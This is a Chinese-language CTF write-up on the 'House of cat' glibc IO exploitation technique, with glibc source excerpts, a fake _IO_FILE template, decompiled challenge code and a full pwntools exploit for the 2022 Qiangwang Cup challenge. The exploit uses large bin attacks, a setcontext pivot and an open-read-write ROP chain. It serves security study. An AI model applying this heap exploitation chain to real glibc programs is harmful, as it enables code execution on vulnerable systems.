5月份偶然发现的一种新型GLIBC中IO利用思路,目前适用于任何版本(包括glibc2.35),命名为House of cat并出在2022强网杯中。
是glibc2.34下常用的攻击手法之一,利用条件只需任意写一个可控地址就可以控制程序执行流,攻击威力十分强大。但是需要攻击位于TLS的_pointer_chk_guard,并且远程可能需要爆破TLS偏移。
House of Cat利用了House of emma的虚表偏移修改思想,通过修改虚表指针的偏移,避免了对需要绕过TLS上 _pointer_chk_guard的检测相关的IO函数的调用,转而调用_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入到_IO_switch_to_wget_mode函数中来攻击,从而使得攻击条件和利用变得更为简单。并且house of cat在FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可(通常是结合__malloc_assert,改vtable为_IO_wfile_jumps+0x10)。
1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。
在高版本libc中,当攻击条件有限(如不能造成任意地址写)或者libc版本中无hook函数(libc2.34及以后)时,伪造fake_IO进行攻击是一种常见可行的攻击方式,常见的触发IO函数的方式有FSOP、__malloc_assert(当然也可以用puts等函数,只不过需要任意地址写任意值直接改掉libc中的stdout结构体hhh),当进入IO流时会根据vtable指针调用相关的IO函数,如果在题目中造成任意地址写一个可控地址(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache),然后伪造fake_IO结构体配合恰当的IO调用链,可以达到控制程序执行流的效果。
在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。
1
2
3
4
5
6
7
8
9
10
11
|
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t
*
IO_validate_vtable (const struct _IO_jump_t
*
vtable)
{
uintptr_t section_length
=
__stop___libc_IO_vtables
-
__start___libc_IO_vtables;
uintptr_t ptr
=
(uintptr_t) vtable;
uintptr_t offset
=
ptr
-
(uintptr_t)__start___libc_IO_vtables;
if
(__glibc_unlikely (offset >
=
section_length))
_IO_vtable_check ();
return
vtable;
}
|
其检查流程为:计算_IO_vtable 段的长度(section_length),用当前虚表指针的地址减去_IO_vtable 段的开始地址,如果vtable相对于开始地址的偏移大于等于section_length,那么就会进入_IO_vtable_check进行更详细的检查,否则的话会正常调用。如果vtable是非法的,进入_IO_vtable_check函数后会触发abort。
虽然对vtable的检查较为严格,但是对于具体位置和具体偏移的检测则是较为宽松的,可以修改vtable指针为虚表段内的任意位置,也就是对于某一个_IO_xxx_jumps的任意偏移,使得其调用攻击者想要调用的IO函数。
在glibc中存在一个函数_malloc_assert,其中会根据vtable表如_IO_xxx_jumps调用IO等相关函数;该函数最终会根据stderr这个IO结构体进行相关的IO操作
代码如下
1
2
3
4
5
6
7
8
9
10
11
12
|
static void
__malloc_assert (const char
*
assertion, const char
*
file
, unsigned
int
line,
const char
*
function)
{
(void) __fxprintf (NULL,
"%s%s%s:%u: %s%sAssertion `%s' failed.\n"
,
__progname, __progname[
0
] ?
": "
: "",
file
, line,
function ? function : "
", function ? "
:
" : "
",
assertion);
fflush (stderr);
abort ();
}
|
house of kiwi提供了一种调用该函数的思路,可以通过修改topchunk的大小触发,即满足下列条件中的一个
1.topchunk的大小小于MINSIZE(0X20)
2.prev inuse位为0
3.old_top页未对齐
1
2
3
4
|
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
|
下面介绍另一种触发house of cat的方式FSOP
程序中所有的_IO_FILE 结构用_chain连接形成一个单链表,链表的头部则是_IO_list_all
FSOP就是通过劫持_IO_list_all的值(如large bin attack修改)来执行_IO_flush_all_lockp函数,这个函数会根据_IO_list_all刷新链表中的所有文件流,在libc中代码如下,其中会调用vtable中的IO函数_IO_OVERFLOW,根据我们上面所说的虚表偏移可变思想,这个地方的虚表偏移也是可修改的,然后配合伪造IO结构体可以执行house of cat的调用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int
_IO_flush_all_lockp (
int
do_lock)
{
...
fp
=
(_IO_FILE
*
) _IO_list_all;
while
(fp !
=
NULL)
{
...
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base))
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
{
result
=
EOF;
}
...
}
}
|
触发条件则是有三种情况
FSOP有三种情况(能从main函数中返回、程序中能执行exit函数、libc中执行abort),第三种情况在高版本中已经删除;__malloc_assert则是在malloc中触发,通常是修改top chunk的大小。
在_IO_wfile_jumps结构体中,会根据虚表进行相关的函数调用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
const struct _IO_jump_t _IO_wfile_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
off64_t
_IO_wfile_seekoff (
FILE
*
fp, off64_t offset,
int
dir
,
int
mode)
{
off64_t result;
off64_t delta, new_offset;
long
int
count;
if
(mode
=
=
0
)
return
do_ftell_wide (fp);
int
must_be_exact
=
((fp
-
>_wide_data
-
>_IO_read_base
=
=
fp
-
>_wide_data
-
>_IO_read_end)
&& (fp
-
>_wide_data
-
>_IO_write_base
=
=
fp
-
>_wide_data
-
>_IO_write_ptr));
#需要绕过was_writing的检测
bool
was_writing
=
((fp
-
>_wide_data
-
>_IO_write_ptr
> fp
-
>_wide_data
-
>_IO_write_base)
|| _IO_in_put_mode (fp));
if
(was_writing && _IO_switch_to_wget_mode (fp))
return
WEOF;
......
}
|
其中fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode这个函数,继续跟进代码
1
2
3
4
5
6
7
8
|
int
_IO_switch_to_wget_mode (
FILE
*
fp)
{
if
(fp
-
>_wide_data
-
>_IO_write_ptr > fp
-
>_wide_data
-
>_IO_write_base)
if
((wint_t)_IO_WOVERFLOW (fp, WEOF)
=
=
WEOF)
return
EOF;
......
}
|
而_IO_WOVERFLOW是glibc里定义的一个宏调用函数
1
2
|
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
|
对_IO_WOVERFLOW没有进行任何检测,为了便于理解,我们再来看看汇编代码
1
2
3
4
5
6
7
8
9
10
11
|
►
0x7f4cae745d30
<_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3b
<_IO_switch_to_wget_mode
+
11
> push rbx
0x7f4cae745d3c
<_IO_switch_to_wget_mode
+
12
> mov rbx, rdi
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d43
<_IO_switch_to_wget_mode
+
19
>
cmp
rdx, qword ptr [rax
+
0x18
]
0x7f4cae745d47
<_IO_switch_to_wget_mode
+
23
> jbe _IO_switch_to_wget_mode
+
56
<_IO_switch_to_wget_mode
+
56
>
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d50
<_IO_switch_to_wget_mode
+
32
> mov esi,
0xffffffff
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
|
主要关注这几句,做了一下几点事情
1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。
4.call调用[rax2+0x18]处的内容。
1
2
3
4
|
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
|
而rdi现在是什么状态呢?gdb调试来看看
可以看到这是一个堆地址,而实际上此时rdi就是伪造的IO结构体的地址,也是可控的。
在造成任意地址写一个堆地址的基础上,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system("/bin/sh")
1
2
3
4
|
_wide_data
-
>_IO_read_ptr !
=
_wide_data
-
>_IO_read_end
_wide_data
-
>_IO_write_ptr > _wide_data
-
>_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp
-
>_lock是一个可写地址(堆地址、libc中的可写地址)
|
1.修改_IO_list_all为可控地址(FSOP)或修改stderr为可控地址(__malloc_assert)。
2.在上一步的可控地址中伪造fake_IO结构体(也可以在任意地址写的情况下修改stderr、stdout等结构体)。
3.通过FSOP或malloc触发攻击。
为了便于理解,画个图
house of cat的模板,原理参照上图。伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
fake_io_addr
=
heapbase
+
0xb00
# 伪造的fake_IO结构体的地址
next_chain
=
0
fake_IO_FILE
=
p64(rdi)
#_flags=rdi
fake_IO_FILE
+
=
p64(
0
)
*
7
fake_IO_FILE
+
=
p64(
1
)
+
p64(
2
)
# rcx!=0(FSOP)
fake_IO_FILE
+
=
p64(fake_io_addr
+
0xb0
)
#_IO_backup_base=rdx
fake_IO_FILE
+
=
p64(call_addr)
#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x68
,
'\x00'
)
fake_IO_FILE
+
=
p64(
0
)
# _chain
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x88
,
'\x00'
)
fake_IO_FILE
+
=
p64(heapbase
+
0x1000
)
# _lock = a writable address
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xa0
,
'\x00'
)
fake_IO_FILE
+
=
p64(fake_io_addr
+
0x30
)
#_wide_data,rax1_addr
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xc0
,
'\x00'
)
fake_IO_FILE
+
=
p64(
1
)
#mode=1
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xd8
,
'\x00'
)
fake_IO_FILE
+
=
p64(libcbase
+
0x2160c0
+
0x10
)
# vtable=IO_wfile_jumps+0x10
fake_IO_FILE
+
=
p64(
0
)
*
6
fake_IO_FILE
+
=
p64(fake_io_addr
+
0x40
)
# rax2_addr
|
保护全开,禁用了execve还检查了read的fd
main函数在每一次循环开始有对tcache_bins的赋值,相当于不让打tcache_bins造成任意地址写
sub_1A50函数对输入的cmd进行了格式检查,返回值部位0才能进入到do_cmd,do_cmd则是能够执行到堆块管理结构,先来看sub_1A50,为了便于查看,这里用代码展示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
__int64 __fastcall sub_1A50(char
*
a1, __int64 a2)
{
char
*
s;
/
/
[rsp
+
18h
] [rbp
-
28h
]
char
*
v4;
/
/
[rsp
+
20h
] [rbp
-
20h
]
char
*
v5;
/
/
[rsp
+
20h
] [rbp
-
20h
]
char
*
v6;
/
/
[rsp
+
20h
] [rbp
-
20h
]
const char
*
s2;
/
/
[rsp
+
28h
] [rbp
-
18h
]
char
*
v8;
/
/
[rsp
+
30h
] [rbp
-
10h
]
const char
*
s1;
/
/
[rsp
+
38h
] [rbp
-
8h
]
v4
=
strstr(a1,
"QWB"
);
if
( !v4 )
return
0LL
;
/
/
包含 QWB,否则返回
0
也就是不能执行do_cmd
*
v4
=
0
;
v4[
1
]
=
0
;
v4[
2
]
=
32
;
v5
=
v4
+
3
;
s2
=
strtok(a1,
" "
);
/
/
用空格分隔开
if
( !strcmp(
"LOGIN"
, s2) )
{
*
(_BYTE
*
)(a2
+
8
)
=
1
;
}
else
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"DOG"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"CAT"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"MONKEY"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"FISH"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"PIG"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"WOLF"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"DUCK"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"GOLF"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"TIGER"
, s2) )
return
0LL
;
*
(_BYTE
*
)(a2
+
8
)
=
10
;
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
9
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
8
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
7
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
6
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
5
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
4
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
3
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
2
;
}
v8
=
strtok(
0LL
,
" "
);
if
( v8 !
=
strchr(v8,
'|'
) )
/
/
查找
'|'
的第一个匹配之处
return
0LL
;
*
(_QWORD
*
)a2
=
v8;
s1
=
strtok(
0LL
,
" "
);
if
( strcmp(s1,
"r00t"
) )
/
/
比较'r00t’的存在
return
0LL
;
s
=
v5
+
5
;
v6
=
strstr(v5,
"QWXF"
);
/
/
检查是否有
'QWXF'
if
( !v6 )
return
0LL
;
*
v6
=
0
;
v6[
1
]
=
0
;
v6[
2
]
=
0
;
v6[
3
]
=
32
;
*
(_QWORD
*
)(a2
+
16
)
=
s;
return
1LL
;
}
|
再来看看do_cmd函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
__int64 __fastcall sub_1DF3(__int64 a1)
{
__int64 result;
/
/
rax
unsigned
int
v2;
/
/
eax
char
*
v3;
/
/
[rsp
+
18h
] [rbp
-
8h
]
if
(
*
(_BYTE
*
)(a1
+
8
)
=
=
1
&& !strcmp(
*
(const char
*
*
)(a1
+
16
),
"admin"
) )
dword_4040[
0
]
=
1
;
/
/
login
result
=
*
(unsigned __int8
*
)(a1
+
8
);
if
( (_BYTE)result
=
=
3
)
{
result
=
(__int64)strtok(
*
(char
*
*
)(a1
+
16
),
"$"
);
v3
=
(char
*
)result;
if
( result )
{
result
=
dword_4014;
/
/
if
(
*
v3
=
=
dword_4014 )
{
result
=
dword_4040[
0
];
if
( dword_4040[
0
] )
{
menu();
v2
=
getnumber();
if
( v2
=
=
4
)
{
return
edit();
}
else
{
if
( v2 <
=
4
)
{
switch ( v2 )
{
case
3u
:
return
show();
case
1u
:
return
add();
case
2u
:
return
delete();
}
}
return
output(
"error!\n"
);
}
}
}
}
}
return
result;
};
if
(
*
v3
=
=
dword_4014 )
/
/
dword_4014检查是否为
0xffffffff
{
result
=
dword_4040[
0
];
/
/
dword_4040[
0
]检查是否login
if
( dword_4040[
0
] )
{
menu();
v2
=
getnumber();
if
( v2
=
=
4
)
{
return
edit();
}
else
{
if
( v2 <
=
4
)
{
switch ( v2 )
{
case
3u
:
return
show();
case
1u
:
return
add();
case
2u
:
return
delete();
}
}
return
output(
"error!\n"
);
}
}
}
}
}
return
result;
}
|
这里需要了解一下strtok等几个函数的作用,可以gdb动态调试结合静态逆向,不再赘述。首先我们需要login,然后再进入堆块管理函数,格式为
1
2
|
LOGIN | r00t QWB QWXFadmin
CAT | r00t QWB QWXF$\xff
|
重点看一下堆块管理函数
add函数,calloc申请堆块,大小在0x418-0x470之间
delete函数有UAF
edit函数只能编写48个字节(防止UAF造成溢出),且只有2次机会
无法退出main函数,也没有exit等能造成FSOP的方式,但是stderr不在bss上而在libc中,可以在得到libc地址后large bin attack位于libc中的stderr,再在得到heap地址的基础上修改top chunk的size,这里用large bin attack修改。所以两次edit相当于给了两次large bin attack的机会,一次用来large bin attack stderr,一次用来large bin attack topchunk's size。另外由于对fd的检查,需要close(0)使flag文件的文件描述符为0,或者用mmap函数将flag映射读入。
1.泄露libc地址和堆地址
2.large bin attack stderr
3.large bin attack topchunk's size
4.伪造fake_IO
5.触发__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode。
6.setcontext执行rop链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
|
from
pwn
import
*
p
=
process(
'./houseofcat'
)
libc
=
ELF(
'./libc.so.6'
)
context.log_level
=
'debug'
r
=
lambda
x: p.recv(x)
ra
=
lambda
: p.recvall()
rl
=
lambda
: p.recvline(keepends
=
True
)
ru
=
lambda
x: p.recvuntil(x, drop
=
True
)
sl
=
lambda
x: p.sendline(x)
sa
=
lambda
x, y: p.sendafter(x, y)
sla
=
lambda
x, y: p.sendlineafter(x, y)
ia
=
lambda
: p.interactive()
c
=
lambda
: p.close()
li
=
lambda
x: log.info(x)
db
=
lambda
: gdb.attach(p)
sa(
'mew mew mew~~~~~~'
,
'LOGIN | r00t QWB QWXFadmin'
)
def
add(idx,size,cont):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
1
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
sla(
'plz input your cat size:\n'
,
str
(size))
sa(
'plz input your content:\n'
,cont)
def
delete(idx):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
2
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
def
show(idx):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
3
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
def
edit(idx,cont):
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
4
))
sla(
'plz input your cat idx:\n'
,
str
(idx))
sa(
'plz input your content:\n'
, cont)
#gdb.attach(p,'b* $rebase(0x1DDD)')
add(
0
,
0x420
,
'aaa'
)
add(
1
,
0x430
,
'bbb'
)
add(
2
,
0x418
,
'ccc'
)
delete(
0
)
add(
3
,
0x440
,
'ddd'
)
show(
0
)
ru(
'Context:\n'
)
libcbase
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
-
0x21a0d0
info(
'libc->'
+
hex
(libcbase))
rdi
=
libcbase
+
0x000000000002a3e5
rsi
=
libcbase
+
0x000000000002be51
rdxr12
=
libcbase
+
0x000000000011f497
ret
=
libcbase
+
0x0000000000029cd6
rax
=
libcbase
+
0x0000000000045eb0
stderr
=
libcbase
+
libc.sym[
'stderr'
]
setcontext
=
libcbase
+
libc.sym[
'setcontext'
]
close
=
libcbase
+
libc.sym[
'close'
]
read
=
libcbase
+
libc.sym[
'read'
]
write
=
libcbase
+
libc.sym[
'write'
]
syscallret
=
libcbase
+
libc.search(asm(
'syscall\nret'
)).
next
()
p.recv(
10
)
heapaddr
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
-
0x290
info(
'heap->'
+
hex
(heapaddr))
#fake IO
ioaddr
=
heapaddr
+
0xb00
next_chain
=
0
fake_IO_FILE
=
p64(
0
)
*
4
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
+
=
p64(
1
)
+
p64(
2
)
fake_IO_FILE
+
=
p64(heapaddr
+
0xc18
-
0x68
)
#rdx
fake_IO_FILE
+
=
p64(setcontext
+
61
)
#call addr
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x58
,
'\x00'
)
fake_IO_FILE
+
=
p64(
0
)
# _chain
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x78
,
'\x00'
)
fake_IO_FILE
+
=
p64(heapaddr
+
0x200
)
# _lock = writable address
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x90
,
'\x00'
)
fake_IO_FILE
+
=
p64(heapaddr
+
0xb30
)
#rax1
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xB0
,
'\x00'
)
fake_IO_FILE
+
=
p64(
1
)
# _mode = 1
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xC8
,
'\x00'
)
fake_IO_FILE
+
=
p64(libcbase
+
0x2160d0
)
# vtable=IO_wfile_jumps+0x10
fake_IO_FILE
+
=
p64(
0
)
*
6
fake_IO_FILE
+
=
p64(heapaddr
+
0xb30
+
0x10
)
# rax2
flagaddr
=
heapaddr
+
0x17d0
payload1
=
fake_IO_FILE
+
p64(flagaddr)
+
p64(
0
)
+
p64(
0
)
*
5
+
p64(heapaddr
+
0x2050
)
+
p64(ret)
delete(
2
)
add(
6
,
0x418
,payload1)
delete(
6
)
#large bin attack stderr poiniter
edit(
0
,p64(libcbase
+
0x21a0d0
)
*
2
+
p64(heapaddr
+
0x290
)
+
p64(stderr
-
0x20
))
add(
5
,
0x440
,
'aaaaa'
)
add(
7
,
0x430
,
'flag'
)
add(
8
,
0x430
,
'eee'
)
#rop
payload
=
p64(rdi)
+
p64(
0
)
+
p64(close)
+
p64(rdi)
+
p64(flagaddr)
+
p64(rsi)
+
p64(
0
)
+
p64(rax)
+
p64(
2
)
+
p64(syscallret)
+
p64(rdi)
+
p64(
0
)
+
p64(rsi)
+
p64(flagaddr)
+
p64(rdxr12)
+
p64(
0x50
)
+
p64(
0
)
+
p64(read)
+
p64(rdi)
+
p64(
1
)
+
p64(write)
add(
9
,
0x430
,payload)
delete(
5
)
add(
10
,
0x450
,p64(
0
)
+
p64(
1
))
delete(
8
)
# large bin attack topchunk's size
edit(
5
,p64(libcbase
+
0x21a0e0
)
*
2
+
p64(heapaddr
+
0x1370
)
+
p64(heapaddr
+
0x28e0
-
0x20
+
3
))
#trigger __malloc_assert
sa(
'mew mew mew~~~~~~'
,
'CAT | r00t QWB QWXF$\xff'
)
sla(
'plz input your cat choice:\n'
,
str
(
1
))
sla(
'plz input your cat idx:'
,
str
(
11
))
gdb.attach(p,
'b* (_IO_wfile_seekoff)'
)
sla(
'plz input your cat size:'
,
str
(
0x450
))
p.interactive()
|
在2022强网杯初赛中,由于比赛前夕其他house of手法的发布以及House of emma+堆风水的使用,导致本题被非预期,但是强网杯house of cat这道题目本意不是通过现成的攻击方式来利用,而是考察现找IO链的能力,题目解法不限于一种,感兴趣的师傅可以自行去研究其他的攻击方式。
更多【House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解】相关视频教程:www.yxfzedu.com